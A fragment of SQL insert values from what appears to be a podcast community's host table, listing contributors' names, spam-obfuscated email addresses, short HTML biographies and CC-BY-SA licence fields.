(252,'Curtis Adkins (CPrompt^)','curtadkins.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Curtis Adkins (CPrompt^)'),
(253,'jrobb','jfrobbins.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'jrobb'),
(254,'Stitch','Stitch.nospam@nospam.hack42.nl','','CC-BY-SA',0,'',1,'Stitch'),
(255,'Matt McGraw (g33kdad)','matty.nospam@nospam.thestrangeland.net','<p>\r\nstay-home dad, child of God, Progressive Christian, technology enthusiast, homeschool parent, mostly harmless\r\n</p>\r\n<p>\r\n<a href=\"https://g33kdad.thestrangeland.net\">https://g33kdad.thestrangeland.net</a>\r\n</p>','CC-BY-SA',1,'',1,'Matt McGraw (g33kdad)'),
(256,'Julian Neuer','jln.neuer.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Julian Neuer'),
(257,'laindir','carl.hamann.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'laindir'),
(258,'Riley Gelwicks (glwx)','riley.gelwicks.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Riley Gelwicks (glwx)'),
(259,'Gabriel Evenfire','evenfire.nospam@nospam.sdf.org','','CC-BY-SA',1,'',1,'Gabriel Evenfire'),
(260,'James Michael DuPont (h4ck3rm1k3)','JamesMikeDuPont.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'James Michael DuPont (hackermike)'),
(261,'David Willson','DLWillson.nospam@nospam.thegeek.nu','','CC-BY-SA',0,'',1,'David Willson'),
(262,'Neandergeek','rkline1963.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Neandergeek'),
(263,'Tony Pelaez','tony.nospam@nospam.pelaez.me','<p>\r\nI feel information should be free, so I created <a href=\"https://ilearnthings.com\">https://ilearnthings.com</a>\r\n</p>','CC-BY-SA',0,'',1,'Tony Pelaez'),
(264,'Richard Hughes','richardhughes260.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Richard Hughes'),
(265,'Kevin Wisher','kevin.wisher.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Kevin Wisher'),
(266,'Keith Murray','kdmurray.nospam@nospam.kdmurray.com','Canadian geek from the west coast. Converting calories to code.\r\n\r\n@kdmurray nearly everywhere\r\n\r\nhtttps://kdmurray.com/','CC-BY-SA',0,'',1,'Keith Murray'),
(267,'Underruner','plushgeek.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Underruner'),
(268,'Andrew Conway','nalumc.nospam@nospam.gmail.com','<p>\r\nInterested in computers, science, economics, writing and er, well, um, humans I suppose.<br />\r\n<a href=\"https://blog.mcnalu.net/\">blog.mcnalu.net</a>\r\n</p>','CC-BY-SA',0,'',1,'Andrew Conway'),
(269,'Honkeymagoo','honkeymagoo01.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'HonkeyMagoo'),
(270,'Thaj Sara','thajasara.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Thaj Sara'),
(271,'mirwi','mirwi.nospam@nospam.binary-kitchen.de','','CC-BY-SA',0,'',1,'mirwi'),
(272,'cyan','cyantech.nospam@nospam.yandex.com','','CC-BY-SA',0,'',1,'cyan'),
(274,'J. A. Mathis','jamathis.nospam@nospam.riseup.net','','CC-BY-SA',0,'',1,'J. A. Mathis'),
(275,'Bill_MI','Bill_MI.nospam@nospam.mi.ath.cx','','CC-BY-SA',0,'',1,'Bill_M_I'),
(276,'x1101','x1101.nospam@nospam.gmx.com','<p>\r\nFather | Husband | Hacker | Cook | Podcaster | DevOps\r\n</p>\r\n<p>\r\n<a href=\"https://reflections.x1101.net/\">https://reflections.x1101.net/</a><br />\r\n<a href=\"https://urandom-podcast.info/\">https://urandom-podcast.info/</a>\r\n</p>','CC-BY-SA',0,'',1,'x 1 1 0 1 '),
(277,'John Duarte','john.nospam@nospam.duarte-dailey.us','','CC-BY-SA',0,'',1,'John Duarte'),
(279,'Mark Waters','mark.nospam@nospam.collective-b.org.uk','','CC-BY-SA',0,'',1,'Mark Waters'),
(280,'semioticrobotic','bryan.nospam@nospam.semioticrobotic.net','','CC-BY-SA',0,'259E2719E0EC869B',1,'semioticrobotic'),
(281,'Scyner','person65278.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Scyner'),
(283,'Inscius','mikael.nospam@nospam.inscius.se','','CC-BY-SA',0,'97517ADC315AB7B6',1,'Inscius'),
(284,'Steve Smethurst','ssmethurst.nospam@nospam.tiscali.co.uk','','CC-BY-SA',1,'',1,'Steve Smethurst'),
(285,'2BFrank','frank.durr.nospam@nospam.mailoo.org','Our own podcast \"Linux ohne Angst\" (in German, Linux without fear): https://linuxohneangst.net','CC-BY-SA',0,'',1,'2BFrank'),
(286,'cjm','colin.j.mills96.nospam@nospam.gmail.com','<pre>\r\n* Unix Enthusiast \r\n\r\n* Nixers Frequent\r\n\r\n* Coffee Drinker\r\n</pre>','CC-BY-SA',1,'',1,'cjm'),
(287,'corenominal','corenominal.nospam@nospam.corenominal.org','<p>\r\n<a href=\"https://corenominal.org\" title=\"Link to Philip\'s blog.\">Philip Newborough</a>\r\n</p>','CC-BY-SA',0,'',1,'CoreNominal'),
(288,'beni','hpr.nospam@nospam.hb9hnt.ch','','CC-BY-SA',0,'',1,'beni'),
(289,'pyrrhic','notrofise.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'pyrrhic'),
(290,'Al','al.nospam@nospam.adminadminpodcast.co.uk','','CC-BY-SA',0,'',1,'Al'),
(291,'Rill','jefa.nospam@nospam.lajefa.net','','CC-BY-SA',0,'',1,'Rill'),
(292,'Michal Cieraszynski','planet444.nospam@nospam.gmail.com','I am a electronics and technology enthusiast as well as hobbyist who likes to mess around with computer hardware, video games, and other things in my spare time. https://www.planet444.com, my very neglected website. I only mention it here because one day I may actually update it.','CC-BY-SA',0,'',1,'Michal Cieraszynski'),
(293,'Rho`n','roan.horning.nospam@nospam.gmail.com','How grey does your beard need to be to be a grey beard?\r\n\r\n* Mastodon: @roan@fosstodon.org\r\n* Matrix: @rho_n:matrix.org\r\n','CC-BY-SA',1,'',1,'rowen'),
(294,'daw','douglasawh.nospam@nospam.gmail.com','<p>\r\n<a href=\"https://www.musicmanumit.com\">https://www.musicmanumit.com</a> and <a href=\"https://micro.fragdev.com/daw\">https://micro.fragdev.com/daw</a> are probably all you need. Although, I will say I am moving to Cincinnati summer 2015 and looking for work there (or telecommuting). So, you if you know something, let me know!\r\n</p>','CC-BY-SA',1,'',1,'daw'),
(295,'Cibola Jerry','cibolajerry.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Cibola Jerry'),
(297,'swift110','anthonyvenable110.nospam@nospam.gmail.com','<p>\r\nHello I have been using Linux since 2010 and I learn more and more each day. My blog can be found at <a href=\"https://anthonyvenable110.wordpress.com\">https://anthonyvenable110.wordpress.com</a>\r\n</p>','CC-BY-SA',0,'',1,'swift110'),
(298,'tcuc','infotcuc.nospam@nospam.gmail.com','<p>The American viking.</p>','CC-BY-SA',0,'',1,'T C U C '),
(299,'Fin','finlaygmitchell.nospam@nospam.gmail.com','','CC-BY-SA',1,'',1,'Fin'),
(300,'Mr. Young','by33zi.nospam@nospam.protonmail.com','<p>\r\nI am a dad, small-business owner, scientist, and Linux enthousiast with a lust for knowledge. You can find me on Mastadon at @ryoung39@mastodon.online\r\n</p>','CC-BY-SA',1,'',1,'b-yeezi'),
(421,'Reto','reto007.nospam@nospam.yahoo.com','<p>Tech enthusiast from Switzerland</p>','CC-BY-SA',0,'',1,'ray toe'),
(301,'Amunizp','amunizp.nospam@nospam.member.fsf.org','<p>\r\nI am a scientist as my day job and in my free time I enjoy being with my family. I also contribute to my local hacerspace/makerspace: <a href=\"https://wiki.richmondmakerlabs.uk/index.php?title=Main_Page\">https://wiki.richmondmakerlabs.uk/index.php?title=Main_Page</a>\r\n</p>\r\n<p>\r\nmy handle at gnusocial is @andresinmp@loadaverage.org\r\n</p>','CC-BY-SA',1,'',1,'A MunizP'),
(302,'Stilvoid','steve.nospam@nospam.offend.me.uk','<p>\r\nDoes things with servers. Deeply embedded in the Linux world with no way out and sees that as a great thing. Father of one. Often too polite.\r\n</p>\r\n<p>\r\nIf you want to know more about me, look here: <a href=\"https://offend.me.uk/about/\">https://offend.me.uk/about/</a> and feel free to get in touch.\r\n</p>','CC-BY-SA',0,'',1,'Stilvoid'),
(303,'Alpha32','andrew.neher1.nospam@nospam.gmail.com','<p>\r\nJust a guy with a microphone. And a computer. and some other stuff, but that\'s not important.\r\n</p>','CC-BY-SA',0,'',1,'Alpha32'),
(306,'GNULinuxRTM','GNULinuxRTM.nospam@nospam.gmail.com','<p>\r\nStarted on the Altair 8800 in 1979 in Middle School (Very lucky to have a teacher who had a Comp Sci Degree).\r\n</p>\r\n<p>\r\nStarted my Comp/Sci Degree in 1984. They ran UNIX System V with VT220 terminals. Had to learn VI editor, shell commands and C in first 2 weeks to complete the Lab. Did some Co-ops Work-Terms, graduated in 1990.\r\n</p>\r\n<p>\r\nDay Job is mostly Microsoft Environment, switched to Linux Mint at home summer of 2014.\r\n</p>\r\n<p>\r\nJust Started an Educational Youtube Channel (April 2015). I am the Voice of the GNU Bull and my daughter is the voice for the Linux Penguin. Later added the Blog and Podcast. Trying to make it Family Friendly and bring life to relatively dry topic - Documentation.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Blog: <a href=\"https://GNULinuxRTM.blogspot.com\">https://GNULinuxRTM.blogspot.com</a>\r\n</li>\r\n<li>RSS Feed: <a href=\"https://feeds.feedburner.com/GNULinuxRTM\">https://feeds.feedburner.com/GNULinuxRTM</a>\r\n</li>\r\n<li>Youtube Channel: <a href=\"https://www.youtube.com/c/GNULinuxRTMblogspotPlus\">https://www.youtube.com/c/GNULinuxRTMblogspotPlus</a>\r\n</li>\r\n<li>Google+: <a href=\"https://plus.google.com/+GNULinuxRTMblogspotPlus\">https://plus.google.com/+GNULinuxRTMblogspotPlus</a>\r\n</li>\r\n</ul>','CC-BY-SA',1,'',1,'GNULinuxRTM'),
(305,'kurakura','kurakuradave.nospam@nospam.gmail.com','<p>\r\nLong time listener of HPR, drawn to Linux in 2008, because of the accessibility features (Orca, font size and mouse pointer customizability) which I continue to use daily until today, now plus the screen magnifier. \r\n</p>\r\n<p>\r\nLately, started work on ChorusText, a device built with Arduino, Linux SBC and some sliders, and text-to-speech - an open assistive device for users with visual impairment. The main goal for ChorusText is as a non-visual text editor. Plase see <a href=\"https://www.chorustext.org\">www.chorustext.org</a> for more details\r\n</p>','CC-BY-SA',0,'',1,'kurakura'),
(307,'cheeto4493','Travis.nospam@nospam.travestylabs.com','','CC-BY-SA',0,'',1,'cheeto4 4 9 3'),
(308,'A Shadowy Figure','hpr.saxz.nospam@nospam.9ox.net','<p>\r\nfrom parts unknown, weight unknown, a shadowy figure has a murky past, with a questionable alibi for his whereabouts at any particular time.\r\n</p>\r\n<p>\r\nLikes: hacking, and lurking in shadows.\r\n</p>\r\n<p>\r\nDislikes: Corporate greed, and revealing things about himself.\r\n</p>\r\n<p>\r\nUses Linux as main computing device, windows and mac as back-ups\r\n</p>','CC-BY-SA',1,'',1,'A Shadowy Figure'),
(309,'folky','hpr.nospam@nospam.svenskaa.net','<p>\r\nEveryday GNU/Linux-user, german-speaking, living in northern Europe.\r\n</p>','CC-BY-SA',0,'',1,'folky'),
(311,'clacke','hpr.nospam@nospam.clacke.user.lysator.liu.se','<p>On GNU/Linux since <a href=\"https://www.linux-m68k.org/faq/saynotowatchtower.html\">Amiga Watchtower</a>, using it as my primary OS since Debian Slink, been on Ubuntu ever since it fulfilled the derailed UserLinux dream.</p>\r\n<p>These days I\'m running Ubuntu-Gnome, but I\'m considering NixOS+Guix as my primary OS, with a Debian chroot for the pieces that are missing.</p>\r\n<p>You can find me on the Free social web at <a href=\"https://libranet.de/~clacke\">clacke@libranet.de</a>.</p>\r\n','CC-BY-SA',1,'',1,'clacke'),
(387,'Cedric De Vroey','cedric.nospam@nospam.n0b0t.com','<p>\r\nHi, I\'m Cedric, and I work as a professional pentester. Social engineering, bypassing access controls both physical and digital, that\'s what I live for :-)\r\n</p>','CC-BY-SA',0,'',1,'Cedric De Vroey'),
(388,'Padraig Jeroen Fallon','pakie+hpr.nospam@nospam.bussum.org','<p>I like DND.</p>','CC-BY-SA',0,'',1,'Padraig Jeroen Fallon'),
(310,'Geddes','geddes.linux.nospam@nospam.gmail.com','','CC-BY-SA',1,'',1,'Geddes'),
(312,'Moral Volcano','vsubhash.nospam@nospam.gmail.com','<p>\r\nBlogger. Writer. Developer.\r\n</p>','CC-BY-SA',1,'',1,'Moral Volcano'),
(313,'JustMe','easlingml.nospam@nospam.aliyun.com','<p>I\'ve been in &amp; out of computing since the late 70s.</p>','CC-BY-SA',0,'',1,'JustMe'),
(314,'thelovebug','hpr.nospam@nospam.thelovebug.org','<p>\r\nProfessional database administrator and data manipulator working for a global information company.\r\n<br />\r\nLives in South Yorkshire in the UK.\r\n</p>\r\n<h3>Contact</h3>\r\n\r\n<ul>\r\n<li>GNUsocial: <a href=\"https://s.wefamlee.be/thelovebug\">thelovebug@s.wefamlee.be</a>\r\n</li>\r\n<li>Telegram: <a href=\"https://telegram.me/thelovebug\">https://telegram.me/thelovebug</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nAlso on Twitter, Facebook, Google+ but don\'t use those much.\r\n</p>','CC-BY-SA',0,'',1,'TheLoveBug'),
(315,'Clinton Roy','clinton.roy.nospam@nospam.gmail.com','<p>Clinton Roy is an Open Source engineer.</p>','CC-BY-SA',0,'',1,'Clinton Roy'),
(317,'Eric Duhamel','ericxdu23.nospam@nospam.gmail.com','<p>\r\nI\'m a 30-something programming/computer hobbyist in Southern California.\r\n<br />\r\nSee more on my webpage <a href=\"https://www.noxbanners.net/\">https://www.noxbanners.net/</a> and follow me on <a href=\"https://loadaverage.org/ericxdu23\">https://loadaverage.org/ericxdu23</a>\r\n</p>','CC-BY-SA',0,'',1,'Eric Duhamel'),
(318,'Archer72','ricemark20.nospam@nospam.gmail.com','<p>\r\nI got started in Linux in 2002, with a set of Mandriva CD\'s and have enjoyed using variations ever since. Currently on Fedora 38.\r\n</p>\r\n<p>\r\nI can be reached as archer72 on IRC on libera.chat on #oggcastplanet and on Mastodon at @archer72@mastodon.sdf.org \r\n</p>','CC-BY-SA',1,'',1,'Archer Seventy Two'),
(319,'OnlyHalfTheTime','onlyhalfthetime.nospam@nospam.gmail.com','<p>The Reluctant Windows Admin</a>','CC-BY-SA',1,'',1,'OnlyHalfTheTime'),
(320,'The Linux Experiment','editor.nospam@nospam.thelinuxexperiment.com','<p>Help us take The Linux Experiment to the next level!</p>','CC-BY-SA',1,'',1,'The Linux Experiment'),
(322,'Cov','cov.nospam@nospam.mykolab.com','<p>\r\nChristopher \"Cov\" Covington is a fan of libre projects, currently living in North Carolina, United States of America. His personal site is <a href=\"https://covlibre.net/\">https://covlibre.net/</a>\r\n</p>','CC-BY-SA',0,'',1,'Cov'),
(323,'Nacho Jordi','ijordiatienza.nospam@nospam.yahoo.es','','CC-BY-SA',0,'',1,'Nacho Jordi'),
(324,'Jon Doe','jondoelocksmith.nospam@nospam.gmail.com','<p>A locksmith by training, I work in physical and digital security, and have some fun with the same by night. </p>','CC-BY-SA',0,'',1,'Jon Doe'),
(325,'m1rr0r5h4d35','m1rr0r5h4d35.nospam@nospam.gmx.com','<p>I\'m this guy who likes computers. Computers and Burger King. </p>','CC-BY-SA',1,'',1,'MirrorShades'),
(326,'Brian in Ohio','bknavarette.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Brian in Ohio'),
(327,'noplacelikeslashhome','nathanpublicinbox.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'NoPlaceLikeSlashHome'),
(328,'Joe','jsilino.nospam@nospam.gmail.com','<p>\r\nHi, I\'m Joe Silino and I live in Upstate NY. I\'ve been using Linux since the late 90\'s and have recently entered the world of sound production. I\'m currently introducing my tech team at church to the benefits of the Open Source world and finding it very useful for many of my projects.\r\n<br />\r\n<a href=https://soundcloud.com/calvaryworshipandtech\">https://soundcloud.com/calvaryworshipandtech</a><br />\r\n<a href=\"https://soundcloud.com/ccsyracuse\">https://soundcloud.com/ccsyracuse</a>\r\n</p>','CC-BY-SA',0,'',1,'Joe'),
(329,'brian','venant.nospam@nospam.protonmail.ch','','CC-BY-SA',0,'',1,'brian'),
(330,'Bitbox','bitbox.nospam@nospam.member.fsf.org','<p>\r\nI\'m a long haul trucker who runs all 48 states here in the US. I really enjoy tinkering with my laptops and used to do a lot of nuke and pave. I am afraid you wont find me on social media nor do I have a website. I don\'t really have much time for that stuff, and I have never been a big social butterfly, anyway. I live in north east Indiana, in the US. I am a father 3 times over, and Grampa twice over. Been married 26 years (yeah,... a VERY patient woman there). I work between 75 and 85 hrs a week, roughly 70 of it driving. I\'ve been an HPR listener for about 2-3 years now, but as of 15 April 2016, I am just now contributing my first episode (shame...). I will strive to do better, Ken...!<br />\r\n<strong>PS: I really hate seeing people get scraped off the highways. I like tech too, but STOP TEXTING AND PLAYING WITH PHONES WHILE YOU DRIVE, EVERYONE. PLEASE!</strong>\r\n</p>\r\n','CC-BY-SA',0,'',1,'Bitbox'),
(331,'njulian','njulianmallog.nospam@nospam.yahoo.de','','CC-BY-SA',0,'',1,'njulian'),
(332,'schism','alarmdude9.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'schism'),
(333,'pope523','joseph.harris.nospam@nospam.jlharris.net','<p>Former network engineer, now delivery driver.</a>','CC-BY-SA',0,'',1,'pope5 2 3'),
(334,'Steve Saner','hpr.nospam@nospam.saner.net','','CC-BY-SA',0,'',1,'Steve Saner'),
(424,'hobs','hobson.nospam@nospam.tangibleai.com','<p>\nPassion: Open source, open data, teachable AI that that you can trust.<br />\nAuthor: _Natural Language Processing in Action_ 1st and 2nd Ed<br />\nCTO: Social impact chatbots at Tangible AI (<a href=\"https://tangibleai.com\">https://tangibleai.com</a>) <br />\nAdjunct Professor: Data Science (UCSD Extension), Computer Science (Mesa College)<br />\nMentor: Data Science (Springboard)<br />\nEducation: Robotics (MS, Georgia Tech)<br />\n</p>','CC-BY-SA',0,'',1,'hobs'),
(335,'matthew','matthew.nospam@nospam.fairvega.com','<p>I\'m a family guy, a pilot, and a compulsive programmer.</p>','CC-BY-SA',0,'',1,'matthew'),
(336,'Lyle Lastinger','lylelastinger.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Lyle Lastinger'),
(337,'handsome_pirate','jdulaney.nospam@nospam.fedoraproject.org','<p>handsome_pirate (John Dulaney) is a long time contributor to the Fedora Project. He is an avid rail enthusiast, and considers his model ships to be his artwork.</p>','CC-BY-SA',1,'',1,'handsome_pirate'),
(338,'Tony Hughes AKA TonyH1212','tonyhughes1958.nospam@nospam.gmail.com','<p>\r\nI\'m a middle age bloke who enjoys using and talking about computers and open source software. I started using Linux in 2006 and have been using it as my Operating System on all my PC\'s for the last 7 years. I\'m also an avid cook and enjoy creating new vegetarian recipes as I have been a vegetarian for over 26 years. <br />\r\nI have an occasional Blog at: <a href=\"https://tony-hughes.blogspot.co.uk/\">https://tony-hughes.blogspot.co.uk/<a/>\r\n</p>','CC-BY-SA',0,'',1,'Tony Hughes A.K.A TonyH1 2 1 2'),
(339,'Todd Mitchell','Todd.nospam@nospam.codewriteplay.com','<p>\r\nMidwest US-based freelance entertainment journalist focused on the game industry. Former professional software developer and current indie game hobbyist. \r\n</p>\r\n<p>\r\nTwitter: <a href=\"https://twitter.com/Mechatodzilla\">@Mechatodzilla</a>\r\n</p>\r\n<p>\r\n<a href=\"https://CodeWritePlay.com\">CodeWritePlay.com</a>\r\n</p>\r\n','CC-BY-SA',1,'',1,'Todd Mitchell'),
(340,'mattkingusa','Matt.nospam@nospam.autumnstreetrecords.com','<p>\r\nHi im matt king. I produce music on linux and i try and code wesites. :)\r\n</p>','CC-BY-SA',0,'',1,'MattKingUSA'),
(359,'The Alien Brothers Podcast (ABP)','alienbrotherspc.nospam@nospam.gmail.com','<p>\r\nThe Alien Brothers Podcast is written?, recorded, and produced? by Rutiger and Casper. Check out their noise experiments here (on hpr)\r\n</p>','CC-BY-SA',1,'',1,'The Alien Brothers Podcast (ABP)'),
(360,'Joey Hess','id.nospam@nospam.joeyh.name','<p><a href=\"https://joeyh.name/\">https://joeyh.name/</a></p>','CC-BY-SA',0,'',1,'Joey Hess'),
(342,'norrist','norrist.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'norrist'),
(2,'Kn1ghtl0rd','kn1ghtl0rd.nospam@nospam.hotmail.com','https://www.kn1ghtl0rd.org','CC-BY-SA',0,'',1,'Kn1ghtl0rd'),
(4,'Phizone','phizone.nospam@nospam.infonomicon.org','https://infonomicon.org','CC-BY-SA',0,'',1,'Phizone'),
(5,'Scedha','scheda.nospam@nospam.gmail.com','https://underfirenetwork.com','CC-BY-SA',0,'',1,'Scedha'),
(6,'J-Hood','JHood.nospam@nospam.JHood.biz','https://tehshow.org','CC-BY-SA',0,'',1,'J-Hood'),
(8,'LinLin','will.nospam@nospam.techcentric.org','https://www.techcentric.org','CC-BY-SA',0,'',1,'LinLin'),
(9,'Irongeek','irongeek.nospam@nospam.irongeek.com','https://irongeek.com','CC-BY-SA',0,'',1,'Irongeek'),
(10,'p0trill0','p0trill023.nospam@nospam.gmail.com','https://twatech.org','CC-BY-SA',0,'',1,'potrillo'),
(11,'Pat from TLLTS','patrickmdavila.nospam@nospam.gmail.com','Co-host of the The Linux Link Tech Show. Former host of the MythTVCast.','CC-BY-SA',0,'',1,'Pat from The Linux Link Tech Show'),
(12,'livinded','livinded.nospam@nospam.gmail.com','https://deadbytes.net','CC-BY-SA',0,'',1,'livinded'),
(13,'Jason Scott','jason.nospam@nospam.textfiles.com','https://www.textfiles.com','CC-BY-SA',0,'',1,'Jason Scott'),
(14,'Blackratchet','blackratchet.nospam@nospam.blackratchet.org','https://www.binrev.com','CC-BY-SA',0,'',1,'Blackratchet'),
(15,'Merk','Merk.nospam@nospam.iname.com','https://google.com','CC-BY-SA',0,'',1,'Merk'),
(16,'Madjimisimi','madjimisimi.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Madjimisimi'),
(17,'Pixelfiend','pxfiend.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Pixelfiend'),
(19,'Luminaire','salveya.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Luminaire'),
(20,'Dominic Uilano','123.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Dominic Uilano'),
(21,'Killersmurf','ksmurf99.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Killersmurf'),
(22,'Electroman','electroman37.nospam@nospam.gmail.com','https://electrostuff.net','CC-BY-SA',0,'',1,'Electroman'),
(23,'Lowtek Mystik','lowtekmystik.nospam@nospam.walla.com','https://ninjanightschool.com/','CC-BY-SA',0,'',1,'Lowtek Mystik'),
(26,'ponyboy','cliffstoll.nospam@nospam.gmail.com','https://bellcoreradio.net/','CC-BY-SA',0,'',1,'ponyboy'),
(27,'Dr^ZigMan','drzigman.nospam@nospam.bellsouth.net','https://binrev.com','CC-BY-SA',0,'',1,'Dr^ZigMan'),
(28,'Kynan Dent','kynan.nospam@nospam.kynan.org','https://kynan.org','CC-BY-SA',0,'',1,'Kynan Dent'),
(31,'Xcalibur','xcalibur1337.nospam@nospam.gmail.com','https://www.google.com','CC-BY-SA',0,'',1,'Xcalibur'),
(32,'Metatron','metatron.nospam@nospam.fbillradio.com','','CC-BY-SA',0,'',1,'Metatron'),
(33,'dual_parallel','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'dual_parallel'),
(34,'Coder365','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Coder365'),
(35,'Cottonballs','cottonballz.nospam@nospam.gmail.com','https://www.google.com','CC-BY-SA',0,'',1,'Cottonballs'),
(37,'Haq','burnmytime.nospam@nospam.gmail.com','https://www.google.com','CC-BY-SA',0,'',1,'Haq'),
(40,'coldsteal','antonnid.nospam@nospam.gmail.com','https://www.i-trash.org','CC-BY-SA',0,'',1,'coldsteal'),
(43,'GeoNine','projektdiscon.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'GeoNine'),
(44,'spiffytech','spiffytech.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'spiffytech'),
(45,'L3pprd/ocCode','l3pprd.nospam@nospam.gmail.com','https://occ0de.wordpress.com','CC-BY-SA',0,'',1,'L3pprd/ocCode'),
(46,'blackmath','blckmth.nospam@nospam.gmail.com','https://blackmath.org','CC-BY-SA',0,'',1,'blackmath'),
(47,'cid','cidviscous.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'cid'),
(49,'kotrin','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'kotrin'),
(50,'Dospod','drewmarin.nospam@nospam.gmail.com','https://dospod.i-trash.org','CC-BY-SA',0,'',1,'Dospod'),
(51,'Messyman','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Messyman'),
(52,'javatard','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'javatard'),
(53,'Zach','admin.nospam@nospam.hackerpublicradio.org','https://packetsniffers.org','CC-BY-SA',0,'',1,'Zach'),
(54,'skrye','skrye.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'skrye'),
(56,'riscphree','riscphree.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'riscphree'),
(59,'MrE','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'MrE'),
(60,'Faceman','lt.faceman.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Faceman'),
(61,'DarkShadow','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'DarkShadow'),
(63,'spaceout','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'spaceout'),
(65,'ThoughtPhreaker','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'ThoughtPhreaker'),
(66,'Adam','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Adam'),
(67,'Draven','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Draven'),
(68,'Mc Frontalot','admin.nospam@nospam.hackerpublicradio.org','https://frontalot.com','CC-BY-SA',0,'',1,'Mc Frontalot'),
(343,'The Bishop','bishop-hpr.nospam@nospam.mondkalbantrieb.de','<p>\r\nHi, i am The Bishop from Berlin/Germany.<br />\r\nMy computer experience started more than 30 years ago with Commodore Plus 4 and Commodore 64. Later on i continued with Commodore Amiga 500 and Amiga 1200. My first PC was an 80286-based. I started using Linux with Slackware 3.2(?) and Kernel 2.0.20.\r\n</p>\r\n<p>\r\nMy favourite topics are compression technology and cryptography. I\'m a guy interested in low level stuff down to the raw bits, i leave the modern GUI-programming for others.\r\n</p>','CC-BY-SA',1,'',1,'The Bishop'),
(344,'spaceman','admin.nospam@nospam.hackerpublicradio.org','<ul>\r\n<li><a href=\"https://qzc3ou3vccr3yjyg.onion/\">https://qzc3ou3vccr3yjyg.onion/</a></li>\r\n<li><a href=\"https://loadaverage.org/spaceman\">https://loadaverage.org/spaceman</a></li>\r\n</ul>','CC-BY-SA',1,'',1,'spaceman'),
(346,'Bill \"NFMZ1\" Miller','thenfmz1.nospam@nospam.gmail.com','<p>\r\nOld man who loves tech and discussing everything tech wise. A master of none. Love the outdoors and being a dad.\r\n</p>','CC-BY-SA',1,'',1,'Bill \"NFMZ1\" Miller'),
(348,'Reg A','krtariles.nospam@nospam.gmail.com','<p>\r\nI\'m an old retired dude. Former US Air Force and US Army living in the state of Georgia, USA with plenty time on my hands to mess with computers and electronic devices.\r\n</p>','CC-BY-SA',0,'',1,'Reg A'),
(349,'Hannah, of Terra, of Sol','spacehanners.nospam@nospam.gmail.com','<p>\r\nI\'m down with the space, and ASIC. Let\'s look at the stars with python and an antenna. \r\n</p>','CC-BY-SA',0,'',1,'Hannah, of Terra, of Sol'),
(350,'BobJonkman','bjonkman+hpr.nospam@nospam.sobac.com','<p>Bob Jonkman works with computers. He\'s an instructor, project manager and system administrator. In another life he dabbles in politics, too.</p>','CC-BY-SA',1,'',1,'BobJonkman'),
(351,'@einebiene','postfach.nospam@nospam.einebiene.de','','CC-BY-SA',0,'',1,'@EinerBeener'),
(352,'fth','freakdoesgeek.nospam@nospam.gmail.com','<p>\r\nA free and libre software end user with admiration for the community.\r\n</p>\r\n<p>\r\n@fth_nix on twitter\r\n</p>\r\n','CC-BY-SA',0,'',1,'fth'),
(353,'venam','patrick.nospam@nospam.iotek.org','<ul>\r\n<li>venam from <a href=\"https://nixers.net\">https://nixers.net</a>\r\n</li>\r\n<li>Patreon: <a href=\"https://www.patreon.com/venam\">https://www.patreon.com/venam</a>\r\n</li>\r\n<li>Blog: <a href=\"https://venam.nixers.net\">https://venam.nixers.net</a>\r\n</li>\r\n</ul>','CC-BY-SA',1,'',1,'venam'),
(354,'TheDUDE','jstahlman13.nospam@nospam.gmail.com','<pre>\r\nTheD|_|D3\r\n</pre>','CC-BY-SA',0,'',1,'TheDUDE'),
(355,'Knox','jrknox1977.nospam@nospam.gmail.com','<p>\r\nI am a life long tech geek. I love all things tech. I started with a TRS-80 Model 3 in 6th grade and have never looked back! \r\n</p>','CC-BY-SA',0,'',1,'Knox'),
